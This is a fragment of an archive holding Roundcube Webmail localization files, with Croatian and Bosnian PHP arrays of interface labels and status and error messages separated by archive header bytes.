$labels['listnamedisplay'] = 'Prikaži kontakte kao';
$labels['spellcheckbeforesend'] = 'Provjeri pravopis prije slanja poruke';
$labels['spellcheckoptions'] = 'Postavke provjere pravopisa';
$labels['spellcheckignoresyms'] = 'Zanemari riječi koje sadrže simbole';
$labels['spellcheckignorenums'] = 'Zanemari riječi koje sadrže brojeve';
$labels['spellcheckignorecaps'] = 'Zanemari riječi sa svim velikim slovima';
$labels['addtodict'] = 'Dodaj u rječnik';
$labels['mailtoprotohandler'] = 'Registriraj upravitelj protokola za mailto: linkove';
$labels['standardwindows'] = 'Tretiraj skočne prozore kao standardne';
$labels['forwardmode'] = 'Prosljeđivanje poruka';
$labels['inline'] = 'umetnuto';
$labels['asattachment'] = 'kao privitak';
$labels['replyallmode'] = 'Zadana akcija [Reply all] gumba';
$labels['replyalldefault'] = 'odgovori svima';
$labels['replyalllist'] = 'odgovori samo listi (ako postoji)';
$labels['allmessages'] = 'sve poruke';
$labels['folder'] = 'Mapa';
$labels['folders'] = 'Mape';
$labels['foldername'] = 'Naziv mape';
$labels['subscribed'] = 'Pretplaćen';
$labels['messagecount'] = 'Poruke';
$labels['create'] = 'Stvori';
$labels['createfolder'] = 'Stvori novu mapu';
$labels['managefolders'] = 'Upravljanje mapama';
$labels['specialfolders'] = 'Specijalne mape';
$labels['properties'] = 'Svojstva';
$labels['folderproperties'] = 'Svojstva mape';
$labels['parentfolder'] = 'Glavna mapa';
$labels['location'] = 'Lokacija';
$labels['info'] = 'Informacije';
$labels['getfoldersize'] = 'Kliknite za prikaz veličine mape';
$labels['changesubscription'] = 'Kliknite da biste promijenili pretplatu';
$labels['foldertype'] = 'Vrsta mape';
$labels['personalfolder'] = 'Privatna mapa';
$labels['otherfolder'] = 'Mapa drugog korisnika';
$labels['sharedfolder'] = 'Javna mapa';
$labels['encryption'] = 'Šifriranje';
$labels['sortby'] = 'Sortiraj po';
$labels['sortasc'] = 'Sortiraj uzlaznim nizom';
$labels['sortdesc'] = 'Sortiraj silaznim nizom';
$labels['undo'] = 'Poništi';
$labels['installedplugins'] = 'Instalirani dodaci';
$labels['plugin'] = 'Dodatak';
$labels['version'] = 'Inačica';
$labels['source'] = 'Izvorni kod';
$labels['license'] = 'Licenca';
$labels['support'] = 'Podrška';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Engleski';
$labels['westerneuropean'] = 'Zapadnoeuropski';
$labels['easterneuropean'] = 'Istočnoeuropski';
$labels['southeasterneuropean'] = 'Jugoistočnoeuropski';
$labels['baltic'] = 'Baltički';
$labels['cyrillic'] = 'Čirilićni';
$labels['arabic'] = 'Arapski';
$labels['greek'] = 'Grčki';
$labels['hebrew'] = 'Hebrejski';
$labels['turkish'] = 'Turski';
$labels['nordic'] = 'Nordijski';
$labels['thai'] = 'Tajlandski';
$labels['celtic'] = 'Keltski';
$labels['vietnamese'] = 'Vijetnamski';
$labels['japanese'] = 'Japanski';
$labels['korean'] = 'Korejski';
$labels['chinese'] = 'Kineski';
PK
h�\�wY<<'program/localization/hr_HR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Dogodila se greška!';
$messages['loginfailed']  = 'Prijava neuspješna.';
$messages['cookiesdisabled'] = 'Vaš preglednik ne prihvaća kolačiće.';
$messages['sessionerror'] = 'Vaša sesija je nevaljala ili istekla.';
$messages['cookiesmismatch'] = 'Otkrivena je neusklađenost kolačića. Molimo očistite kolačiće preglednika.';
$messages['storageerror'] = 'Neuspješno povezivanje na IMAP poslužitelj.';
$messages['servererror'] = 'Greška poslužitelja!';
$messages['servererrormsg'] = 'Greška poslužitelja: $msg';
$messages['accountlocked'] = 'Previše neuspjelih pokušaja prijave. Molimo pokušajte kasnije.';
$messages['connerror'] = 'Neuspješna veza (Nemoguće doći do poslužitelja)!';
$messages['dberror'] = 'Greška baze podataka!';
$messages['dbconnerror'] = 'Nemoguće spajanje na bazu podataka!';
$messages['windowopenerror'] = 'Skočni prozor je blokiran!';
$messages['requesttimedout'] = 'Zahtjev istekao';
$messages['errorreadonly'] = 'Nemoguće izvršiti operaciju. Mapa je samo za čitanje.';
$messages['errornoperm'] = 'Nemoguće izvršiti operaciju. Nije dozvoljen pristup.';
$messages['erroroverquota'] = 'Nemoguće izvršiti operaciju. Nema prostora na disku.';
$messages['erroroverquotadelete'] = 'Nema prostora na disku. Upotrijebite SHIFT+DEL za brisanje poruka.';
$messages['invalidrequest'] = 'Neispravan zahtjev! Podaci nisu spremljeni.';
$messages['invalidhost'] = 'Neispravno ime poslužitelja.';
$messages['nomessagesfound'] = 'Nema poruka u ovom sandučiću.';
$messages['loggedout'] = 'Uspješno ste prekinuli sesiju.
Doviđenja!';
$messages['mailboxempty'] = 'Sandučuć je prazan';
$messages['nomessages'] = 'Nema poruka';
$messages['refreshing'] = 'Osvježavanje...';
$messages['loading'] = 'Učitavanje...';
$messages['uploading'] = 'Postavljanje datoteke...';
$messages['attaching'] = 'Prilaganje datoteke...';
$messages['uploadingmany'] = 'Postavljanje datoteka...';
$messages['loadingdata'] = 'Učitavanje podataka...';
$messages['checkingmail'] = 'Provjera novih poruka u tijeku...';
$messages['sendingmessage'] = 'Slanje poruke...';
$messages['messagesent'] = 'Poruka uspješno poslana.';
$messages['savingmessage'] = 'Spremanje poruke...';
$messages['messagesaved'] = 'Poruka spremljena u mapu Predlošci.';
$messages['successfullysaved'] = 'Uspješno spremljeno.';
$messages['savingresponse'] = 'Spremanje teksta odgovora...';
$messages['deleteresponseconfirm'] = 'Jeste li sigurni da želite obrisati tekst ovog odgovora?';
$messages['nocontactselected'] = 'Niste još označili kontakt.';
$messages['addedsuccessfully'] = 'Kontakt uspješno dodan u imenik.';
$messages['contactexists'] = 'Kontakt s istom e-mail adresom već postoji.';
$messages['contactnameexists'] = 'Kontakt istog imena već postoji.';
$messages['blockedimages'] = 'Zbog zaštite privatnosti, slike sa interneta su blokirane u ovoj poruci.';
$messages['blockedresources'] = 'Da bi se zaštitila vaša privatnost blokirani su udaljeni resursi.';
$messages['suspiciousemail'] = 'Poruka sadrži sumnjive email adrese koje bi mogle biti izvor prevare.';
$messages['encryptedmessage'] = 'Ova poruka je šifrirana i ne može se prikazati.';
$messages['externalmessagedecryption'] = 'Ovo je šifrirana poruka koja može biti dešifrirana uz pomoć proširenja preglednika.';
$messages['nopubkeyfor'] = 'Nije pronađen valjan javni ključ za $email ';
$messages['nopubkeyforsender'] = 'Nije pronađen valjan javni ključ Vašeg identiteta pošiljatelja. Želite li šifrirati poruku samo za primatelje?';
$messages['encryptpubkeysfound'] = 'Pronađeni su sljedeći javni ključevi:';
$messages['nocontactsfound'] = 'Imenik je prazan.';
$messages['contactnotfound'] = 'Traženi kontakt nije pronađen.';
$messages['sendingfailed'] = 'Slanje poruke nije uspjelo.';
$messages['senttooquickly'] = 'Molimo sačekajte $sec sek. prije slanja ove poruke.';
$messages['errorsavingsent'] = 'Greška pri spremanju poslane poruke.';
$messages['errorsaving'] = 'Greška pri spremanju.';
$messages['errormoving'] = 'Greška pri premještanju poruke(a).';
$messages['errorcopying'] = 'Greška pri kopiranju poruke(a).';
$messages['errordeleting'] = 'Greška pri brisanju poruke(a).';
$messages['errormarking'] = 'Greška pri označavanju poruke(a).';
$messages['alerttitle'] = 'Upozorenje';
$messages['confirmationtitle'] = 'Jeste li sigurni...';
$messages['deletecontactconfirm']  = 'Jeste li sigurni da želite obrisati odabrani kontakt(e)?';
$messages['deletegroupconfirm']  = 'Jeste li sigurni da želite obrisati odabranu grupu?';
$messages['deletemessagesconfirm'] = 'Jeste li sigurni da želite obrisati odabranu poruku(e)?';
$messages['deletefolderconfirm']  = 'Jeste li sigurni da želite obrisati mapu?';
$messages['movefolderconfirm']  = 'Stvarno želite premjestiti ovu mapu?';
$messages['purgefolderconfirm']  = 'Jeste li sigurni da želite obrisati sve poruke u mapi?';
$messages['contactdeleting'] = 'Brisanje kontak(a)ta...';
$messages['groupdeleting'] = 'Brisanje grupe...';
$messages['folderdeleting'] = 'Brisanje mape...';
$messages['foldermoving'] = 'Premještanje mape...';
$messages['foldersubscribing'] = 'Pretplaćivanje na mapu...';
$messages['folderunsubscribing'] = 'Poništavanje pretplate na mapu...';
$messages['formincomplete'] = 'Obrazac nije u cjelosti popunjen.';
$messages['noemailwarning'] = 'Unesite ispravnu e-mail adresu.';
$messages['nonamewarning']  = 'Unesite ime.';
$messages['nopagesizewarning'] = 'Unesite veličinu stranice.';
$messages['nosenderwarning'] = 'Molimo unesite e-mail adresu pošiljatelja.';
$messages['recipientsadded'] = 'Primatelj(i) dodan(i) uspješno.';
$messages['norecipientwarning'] = 'Unesite barem jednog primatelja.';
$messages['disclosedrecipwarning'] = 'Svi će primatelji vidjeti druge adrese e-pošte. Da biste to spriječili i zaštitili njihovu privatnost možete rabiti polje Bcc.';
$messages['disclosedreciptitle'] = 'Previše javnih primatelja';
$messages['nosubjectwarning']  = 'Polje \'Naslov\' je prazno. Želite li unijeti naslov?';
$messages['nosubjecttitle']  = 'Nema naslova';
$messages['nobodywarning'] = 'Želite li poslati poruku bez teksta?';
$messages['notsentwarning'] = 'Poruka nije poslana a ima nespremljenih promjena. Želite li odbaciti Vaše promjene?';
$messages['restoresavedcomposedata'] = 'Pronađena je započeta, ali neposlana poruka .\n\nNaslov: $subject\nSnimljeno: $date\n\nŽelite li je prikazati?';
$messages['nosearchname'] = 'Unesite ime ili e-mail adresu.';
$messages['notuploadedwarning'] = 'Svi privitci još nisu postavljeni na poslužitelj. Molim pričekajte ili zaustavite postavljanje.';
$messages['searchsuccessful'] = 'Pronađeno $nr poruka.';
$messages['contactsearchsuccessful'] = 'Pronađeno $nr kontakata.';
$messages['searchnomatch'] = 'Pretraga nije vratila nijedan rezultat.';
$messages['searching'] = 'Pretraživanje u tijeku...';
$messages['checking'] = 'Provjera u tijeku...';
$messages['stillsearching'] = 'Pretraživanje u tijeku...';
$messages['nospellerrors'] = 'Nije pronađena nijedna pravopisna greška.';
$messages['folderdeleted'] = 'Mapa uspješno obrisana.';
$messages['foldersubscribed'] = 'Mapa uspješno pretplaćena.';
$messages['folderunsubscribed'] = 'Pretplata na mapu uspješno poništena.';
$messages['folderpurged'] = 'Mapa uspješno ispražnjena';
$messages['folderexpunged'] = 'Mapa uspješno sažeta.';
$messages['deletedsuccessfully'] = 'Uspješno obrisano.';
$messages['converting'] = 'Uklanjanje formatiranja poruke...';
$messages['messageopenerror'] = 'Učitavanje poruke s poslužitelja nije uspjelo.';
$messages['filelinkerror'] = 'Prilaganje datoteke neuspješno.';
$messages['fileuploaderror'] = 'Postavljanje datoteke nije uspjelo.';
$messages['filesizeerror'] = 'Postavljena datoteka prelazi maksimalna veličinu od $size.';
$messages['filecounterror'] = 'Odjednom možete postaviti najviše $count datoteka.';
$messages['msgsizeerror'] = 'Postavljanje datoteke neuspješno. Prekoračena je najveća veličina datoteke ($size).';
$messages['msgsizeerrorfwd'] = 'Prekoračena je najveća veličina poruke ($size). $num poruka(e) nisu priložene.';
$messages['copysuccess'] = 'Uspješno kopirano $n kontakata.';
$messages['movesuccess'] = 'Uspješno premješteno $n kontakata.';
$messages['copyerror'] = 'Kopiranje kontakata nije uspjelo.';
$messages['moveerror'] = 'Premještanje kontakata nije uspjelo.';
$messages['sourceisreadonly'] = 'Ovaj izvor adresa je samo za čitanje.';
$messages['errorsavingcontact'] = 'Spremanje adrese kontakta nije uspjelo.';
$messages['movingmessage'] = 'Premještanje poruke(a)...';
$messages['copyingmessage'] = 'Kopiranje poruke(a)...';
$messages['copyingcontact'] = 'Kopiranje kontak(a)ta...';
$messages['movingcontact'] = 'Premještanje kontakata...';
$messages['deletingmessage'] = 'Brisanje poruke(a)...';
$messages['markingmessage'] = 'Označavanje poruke(a)...';
$messages['addingmember'] = 'Dodavanje kontak(a)ta u grupu...';
$messages['removingmember'] = 'Brisanje kontak(a)ta iz grupe...';
$messages['receiptsent'] = 'Potvrda o primitku uspješno poslana.';
$messages['errorsendingreceipt'] = 'Slanje potvrde o primitku nije uspjelo.';
$messages['deleteidentityconfirm'] = 'Jeste li sigurni da želite obrisati ovaj identitet?';
$messages['nodeletelastidentity'] = 'Jedini preostali identitet nije moguće obrisati.';
$messages['forbiddencharacter'] = 'Naziv mape sadrži zabranjene znakove.';
$messages['selectimportfile'] = 'Odaberite datoteku za postavljanje.';
$messages['addresswriterror'] = 'U odabrani imenik nije omogućeno pisanje.';
$messages['contactaddedtogroup'] = 'Kontakti uspješno dodani u grupu.';
$messages['contactremovedfromgroup'] = 'Kontakti uspješno obrisani iz grupe.';
$messages['nogroupassignmentschanged'] = 'Nema promjene u zadacima grupa.';
$messages['importwait'] = 'Uvoz, molim pričekajte...';
$messages['importformaterror'] = 'Uvoz nije uspio! Postavljena datoteka nije ispravnog formata za uvoz.';
$messages['importconfirm'] = '<b>Uspješno uvezeno $inserted kontakta</b>';
$messages['importconfirmskipped'] = '<b>Preskočeno $skipped postojećih unosa</b>';
$messages['importmessagesuccess'] = 'Uspješno uvezeno $nr poruka';
$messages['importmessageerror'] = 'Uvoz neuspješan! Datoteka nije u formatu poruke ili sandučića';
$messages['opnotpermitted'] = 'Operacija nije dozvoljena!';
$messages['nofromaddress'] = 'U odabranom identitetu nedostaje email adresa.';
$messages['editorwarning'] = 'Promjena uređivača teksta može rezultirati gubitkom oblikovanja teksta. Želite li nastaviti?';
$messages['httpreceivedencrypterror'] = 'Dogodila se fatalna greška u konfiguraciji. Odmah kontaktirajte administratora. <b>Vaša poruka se ne može poslati.</b>';
$messages['smtpconnerror'] = 'SMTP greška ($code): Povezivanje na poslužitelj nije uspjelo.';
$messages['smtpautherror'] = 'SMTP greška ($code): Autentikacija nije uspjela.';
$messages['smtpfromerror'] = 'SMTP greška ($code): Postavljanje pošiljatelja "$from" ($msg) nije uspjelo.';
$messages['smtptoerror'] = 'SMTP greška ($code): Dodavanje primatelja "$to" ($msg) nije uspjelo.';
$messages['smtprecipientserror'] = 'SMTP greška: Nije moguće pročitati listu primatelja.';
$messages['smtputf8error'] = 'SMTP greška: poslužitelj ne omogućava Unicode u adresama e-pošte.';
$messages['smtpsizeerror'] = 'SMTP greška: veličina poruke prekoračila je ograničenje poslužitelja ($limit)';
$messages['smtperror'] = 'SMTP greška: $msg';
$messages['emailformaterror'] = 'Neispravna e-mail adresa: $email';
$messages['toomanyrecipients'] = 'Previše primatelja. Smanjite broj primatelja na $max.';
$messages['maxgroupmembersreached'] = 'Broj članova grupe prelazi maksimalni broj od $max.';
$messages['internalerror'] = 'Dogodila se interna greška. Molimo pokušajte ponovno.';
$messages['contactdelerror'] = 'Kontakti ne mogu biti obrisani.';
$messages['contactdeleted'] = 'Kontakti uspješno obrisani.';
$messages['contactrestoreerror'] = 'Ne mogu vratiti obrisan(e) kontakt(e).';
$messages['contactrestored'] = 'Kontakt(i) uspješno vraćeni.';
$messages['groupdeleted'] = 'Grupa uspješno obrisana.';
$messages['grouprenamed'] = 'Grupa uspješno preimenovana.';
$messages['groupcreated'] = 'Grupa uspješno stvorena.';
$messages['savedsearchdeleted'] = 'Pohranjena pretraga uspješno obrisana.';
$messages['savedsearchdeleteerror'] = 'Ne mogu obrisati pohranjenu pretragu.';
$messages['savedsearchcreated'] = 'Pohranjena pretraga uspješno stvorena.';
$messages['savedsearchcreateerror'] = 'Ne mogu stvoriti pohranjenu pretragu.';
$messages['messagedeleted'] = 'Poruke uspješno obrisane.';
$messages['messagemoved'] = 'Poruke uspješno premještene.';
$messages['messagemovedtotrash'] = 'Poruka(e) uspješno premještena(e) u smeće.';
$messages['messagecopied'] = 'Poruke uspješno kopirane.';
$messages['messagemarked'] = 'Poruke uspješno označene.';
$messages['autocompletechars'] = 'Unesite barem $min znakova za auto-dopunjavanje.';
$messages['autocompletemore'] = 'Više podudarajućih zapisa pronađeno. Molim upišite još znakova.';
$messages['namecannotbeempty'] = 'Ime ne može biti prazno.';
$messages['nametoolong'] = 'Ime je predugačko.';
$messages['namedotforbidden'] = 'Ime mape ne može početi točkom.';
$messages['folderupdated'] = 'Mapa uspješno ažurirana.';
$messages['foldercreated'] = 'Mapa uspješno stvorena.';
$messages['invalidimageformat'] = 'Format slike nije ispravan.';
$messages['mispellingsfound'] = 'Poruka sadrži pravopisne greške.';
$messages['parentnotwritable'] = 'Nije moguće stvoriti/pomaknuti mapu u odabranoj mapi. Nemate pravo pristupa.';
$messages['messagetoobig'] = 'Dio poruke je prevelik za obradu.';
$messages['noscriptwarning'] = 'UPOZORENJE: Ovaj webmail servis zahtijeva Javascript!  Kako biste ga mogli koristiti, molimo omogućite Javascript u postavkama svog preglednika.';
$messages['messageissent'] = 'Poruka je poslana, ali nije spremljena. Želite li je spremiti sada?';
$messages['errnotfound'] = 'Datoteka nije pronađena';
$messages['errnotfoundexplain'] = 'Traženi resurs nije pronađen!';
$messages['errfailedrequest'] = 'Neuspješan zahtjev';
$messages['errauthorizationfailed'] = 'Neuspješna autorizacija';
$messages['errcontactserveradmin'] = 'Molimo kontaktirajte administratora poslužitelja.';
$messages['clicktocompose'] = 'Klikni ovdje za pisanje nove poruke.';
$messages['siginserted'] = 'Potpis je uspješno unešen.';
$messages['responseinserted'] = 'Odgovor je uspješno unešen.';
$messages['noresponsesavailable'] = 'Nema odgovora.';
$messages['listempty'] = 'Popis je prazan.';
$messages['listusebutton'] = 'Upotrijebite dugme Stvori da bi dodali novu stavku.';
PK
h�\�Ѯ�ff%program/localization/bs_BA/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Dobrodošli u $product';
$labels['username'] = 'Korisnik';
$labels['password'] = 'Šifra';
$labels['server'] = 'Server';
$labels['login'] = 'Prijava';
$labels['logout'] = 'Odjava';
$labels['mail'] = 'Email';
$labels['settings'] = 'Podešavanja';
$labels['addressbook'] = 'Adresar';
$labels['inbox'] = 'Sanduče';
$labels['drafts'] = 'Skice';
$labels['sent'] = 'Poslano';
$labels['trash'] = 'Smeće';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Prikaži prava imena specijalnih foldera';
$labels['subject'] = 'Naslov';
$labels['from'] = 'Od';
$labels['sender'] = 'Pošiljalac';
$labels['to'] = 'Za';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Reply-To adresa';
$labels['followupto'] = 'Prati';
$labels['date'] = 'Datum';
$labels['size'] = 'Veličina';
$labels['priority'] = 'Prioritet';
$labels['organization'] = 'Organizacija';
$labels['readstatus'] = 'Status poruke';
$labels['listoptions'] = 'Izlistaj opcije...';
$labels['mailboxlist'] = 'Folderi';
$labels['messagesfromto'] = 'Poruke od $from do $to od ukupno $count';
$labels['threadsfromto'] = 'Teme od $from do $to od ukupno $count';
$labels['messagenrof'] = 'Poruka broj $nr od $count';
$labels['fromtoshort'] = '$from – $to od ukupno $count';
$labels['copy'] = 'Kopiraj';
$labels['move'] = 'Premjesti';
$labels['moveto'] = 'Premjesti u...';
$labels['copyto'] = 'Kopiraj u...';
$labels['download'] = 'Preuzmi';
$labels['open'] = 'Otvori';
$labels['showattachment'] = 'Prikaži';
$labels['showanyway'] = 'Ipak prikaži';
$labels['filename'] = 'Ime datoteke';
$labels['filesize'] = 'Veličina datoteke';
$labels['addtoaddressbook'] = 'Dodaj u adresar';
$labels['sun'] = 'Ned';
$labels['mon'] = 'Pon';
$labels['tue'] = 'Uto';
$labels['wed'] = 'Sri';
$labels['thu'] = 'Čet';
$labels['fri'] = 'Pet';
$labels['sat'] = 'Sub';
$labels['sunday'] = 'Nedjelja';
$labels['monday'] = 'Ponedjeljak';
$labels['tuesday'] = 'Utorak';
$labels['wednesday'] = 'Srijeda';
$labels['thursday'] = 'Četvrtak';
$labels['friday'] = 'Petak';
$labels['saturday'] = 'Subota';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Maj';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Avg';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'Mart';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Maj';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'Avgust';
$labels['longsep'] = 'Septembar';
$labels['longoct'] = 'Oktobar';
$labels['longnov'] = 'Novembar';
$labels['longdec'] = 'Decembar';
$labels['today'] = 'Danas';
$labels['refresh'] = 'Osvježi';
$labels['checkmail'] = 'Provjeri ima li novih poruka';
$labels['compose'] = 'Nova poruka';
$labels['writenewmessage'] = 'Kreiraj novu poruku';
$labels['reply'] = 'Odgovori';
$labels['replytomessage'] = 'Odgovori pošiljaocu';
$labels['replytoallmessage'] = 'Odgovori listi osoba ili pošiljaocu i svim primaocima';
$labels['replyall'] = 'Odgovori svima';
$labels['replylist'] = 'Odgovori listi';
$labels['forward'] = 'Proslijedi';
$labels['forwardinline'] = 'Proslijedi odmah';
$labels['forwardattachment'] = 'Proslijedi kao prilog';
$labels['forwardmessage'] = 'Proslijedi poruku';
$labels['deletemessage'] = 'Obriši poruku';
$labels['movemessagetotrash'] = 'Prebaci poruku u smeće';
$labels['printmessage'] = 'Odštampaj poruku';
$labels['previousmessage'] = 'Prikaži prethodnu poruku';
$labels['firstmessage'] = 'Prikaži prvu poruku';
$labels['nextmessage'] = 'Prikaži sljedeću poruku';
$labels['lastmessage'] = 'Prikaži zadnju poruku';
$labels['backtolist'] = 'Nazad na listu poruka';
$labels['viewsource'] = 'Prikaži izvornu poruku';
$labels['mark'] = 'Označi';
$labels['markmessages'] = 'Označi poruke';
$labels['markread'] = 'Kao pročitane';
$labels['markunread'] = 'Kao nepročitane';
$labels['markflagged'] = 'Kao važne';
$labels['markunflagged'] = 'Kao nevažne';
$labels['moreactions'] = 'Više akcija...';
$labels['folders-all'] = 'Svi folder';
$labels['more'] = 'Više';
$labels['back'] = 'Nazad';
$labels['options'] = 'Opcije';
$labels['first'] = 'Prva';
$labels['last'] = 'Zadnja';
$labels['previous'] = 'Prethodno';
$labels['next'] = 'Sljedeće';
$labels['select'] = 'Odaberi';
$labels['all'] = 'Sve';
$labels['none'] = 'Ništa';
$labels['currpage'] = 'Trenutna stranica';
$labels['isread'] = 'Pročitano';
$labels['unread'] = 'Nepročitano';
$labels['flagged'] = 'Važno';
$labels['unflagged'] = 'Nije označeno';
$labels['unanswered'] = 'Neodgovoreno';
$labels['withattachment'] = 'Sa prilogom';
$labels['deleted'] = 'Obrisano';
$labels['undeleted'] = 'Nije obrisano';
$labels['replied'] = 'Odgovoreno';
$labels['forwarded'] = 'Proslijeđeno';
$labels['invert'] = 'Izokreni';
$labels['filter'] = 'Filter';
$labels['list'] = 'Lista';
$labels['threads'] = 'Teme';
$labels['expand-all'] = 'Proširi sve';
$labels['expand-unread'] = 'Proširi nepročitane';
$labels['collapse-all'] = 'Zatvori sve';
$labels['threaded'] = 'Teme';
$labels['autoexpand_threads'] = 'Proširi teme poruka';
$labels['do_expand'] = 'sve teme';
$labels['expand_only_unread'] = 'samo sa nepročitanim porukama';
$labels['fromto'] = 'Od/Za';
$labels['flag'] = 'Oznaka';
$labels['attachment'] = 'Prilog';
$labels['nonesort'] = 'Ništa';
$labels['sentdate'] = 'Datum slanja';
$labels['arrival'] = 'Datum primanja';
$labels['asc'] = 'rastući';
$labels['desc'] = 'opadajući';
$labels['listcolumns'] = 'Lista kolona';
$labels['listsorting'] = 'Sortiranje kolona';
$labels['listorder'] = 'Raspored sortiranja';
$labels['listmode'] = 'Način prikaza liste';
$labels['layoutlist'] = 'Lista';
$labels['folderactions'] = 'Akcije za foldere...';
$labels['compact'] = 'Optimiziraj';
$labels['empty'] = 'Isprazni';
$labels['importmessages'] = 'Uvezi poruke';
$labels['quota'] = 'Zauzeće diska';
$labels['unknown'] = 'nepoznato';
$labels['unlimited'] = 'neograničeno';
$labels['quotatype'] = 'Vrsta kvote';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Iskorišteno';
$labels['quotastorage'] = 'Prostor na disku';
$labels['quotamessage'] = 'Broj poruka';
$labels['quicksearch'] = 'Brza pretraga';
$labels['resetsearch'] = 'Resetuj pretragu';
$labels['searchmod'] = 'Modifikacija pretrage';
$labels['msgtext'] = 'Cijela poruka';
$labels['body'] = 'Tijelo';
$labels['type'] = 'Vrsta';
$labels['namex'] = 'Ime';
$labels['searchscope'] = 'Opseg';
$labels['currentfolder'] = 'Trenutni folder';
$labels['subfolders'] = 'Ovo i podfolderi';
$labels['allfolders'] = 'Svi folder';
$labels['openinextwin'] = 'Otvori u novom prozoru';
$labels['emlsave'] = 'Preuzmi (.eml)';
$labels['changeformattext'] = 'Prikaži kao obični tekst';
$labels['changeformathtml'] = 'Prikaži kao HTML';
$labels['editasnew'] = 'Uredi kao novo';
$labels['send'] = 'Pošalji';
$labels['sendmessage'] = 'Pošalji poruku';
$labels['savemessage'] = 'Sačuvaj skicu';
$labels['addattachment'] = 'Priloži datoteku';
$labels['charset'] = 'Skup znakova';
$labels['editortype'] = 'Vrsta urednika';
$labels['returnreceipt'] = 'Potvrda o prispijeću poruke';
$labels['dsn'] = 'Obavještenje o statusu dostave';
$labels['mailreplyintro'] = '$date, $sender je napisao/la:';
$labels['originalmessage'] = 'Originalna poruka';
$labels['selectimage'] = 'Odaberi sliku';
$labels['addimage'] = 'Dodaj sliku';
$labels['selectmedia'] = 'Odaberi film';
$labels['addmedia'] = 'Dodaj film';
$labels['insert'] = 'Umetni';
$labels['recipient'] = 'Primaoc';
$labels['editidents'] = 'Uredi identitete';
$labels['spellcheck'] = 'Pravopis';
$labels['checkspelling'] = 'Provjera pravopisa';
$labels['resumeediting'] = 'Nastavi uređivanje';
$labels['revertto'] = 'Vrati na';
$labels['restore'] = 'Vrati';
$labels['restoremessage'] = 'Vratiti poruku?';
$labels['ignore'] = 'Zanemari';
$labels['responses'] = 'Odgovori';
$labels['insertresponse'] = 'Umetni odgovor';
$labels['manageresponses'] = 'Upravljaj odgovorima';
$labels['newresponse'] = 'Kreiraj novi odgovor';
$labels['addresponse'] = 'Dodaj odgovor';
$labels['editresponse'] = 'Uredi odgovor';
$labels['editresponses'] = 'Uredi odgovore';
$labels['responsename'] = 'Ime';
$labels['responsetext'] = 'Tekst odgovora';
$labels['attach'] = 'Priloži';
$labels['attachments'] = 'Prilozi';
$labels['upload'] = 'Dodaj';
$labels['uploadprogress'] = '$percent ($current od $total)';
$labels['close'] = 'Zatvori';
$labels['messageoptions'] = 'Opcije poruke...';
$labels['togglecomposeoptions'] = '(De)aktivacija opcija pisanja';
$labels['low'] = 'Nizak';
$labels['lowest'] = 'Najniži';
$labels['normal'] = 'Normalan';
$labels['high'] = 'Visok';
$labels['highest'] = 'Najveći';
$labels['nosubject'] = '(bez naslova)';
$labels['showimages'] = 'Prikaži slike';
$labels['alwaysshow'] = 'Uvijek prikaži slike od $sender';
$labels['isdraft'] = 'Ovo je skica.';
$labels['andnmore'] = 'još $nr...';
$labels['togglemoreheaders'] = 'Prikaži još zaglavlja poruka';
$labels['togglefullheaders'] = 'Aktiviranje izvornih zaglavlja poruka';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Obični tekst';
$labels['savesentmessagein'] = 'Sačuvaj poslane poruke u';
$labels['dontsave'] = 'ne snimaj';
$labels['maxuploadsize'] = 'Maksimalna dozvoljena veličina datoteke je $size';
$labels['addcc'] = 'Dodaj Cc';
$labels['addbcc'] = 'Dodaj Bcc';
$labels['addreplyto'] = 'Dodaj odgovor na';
$labels['addfollowupto'] = 'Dodaj praćenje za';
$labels['mdnrequest'] = 'Pošiljaoc ove poruke je tražio da bude obaviješten kada pročitate ovu poruku. Želite li obavijestiti pošiljaoca?';
$labels['receiptread'] = 'Povratnica (pročitano)';
$labels['yourmessage'] = 'Ovo je povratnica vaše poruke';
$labels['receiptnote'] = 'Napomena: Ova povratnica samo potvrđuje da je poruka bila prikazana na računaru primaoca. Nema garancija da je primaoc pročitao ili razumio sadržaj poruke.';
$labels['name'] = 'Ime za prikaz';
$labels['firstname'] = 'Ime';
$labels['surname'] = 'Prezime';
$labels['middlename'] = 'Srednje ime';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Sufiks';
$labels['nickname'] = 'Nadimak';
$labels['jobtitle'] = 'Titula';
$labels['department'] = 'Odjel';
$labels['gender'] = 'Spol';
$labels['maidenname'] = 'Djevojačko ime';
$labels['email'] = 'Email';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresa';
$labels['street'] = 'Ulica';
$labels['locality'] = 'Grad';
$labels['zipcode'] = 'Poštanski broj';
$labels['region'] = 'Oblast';
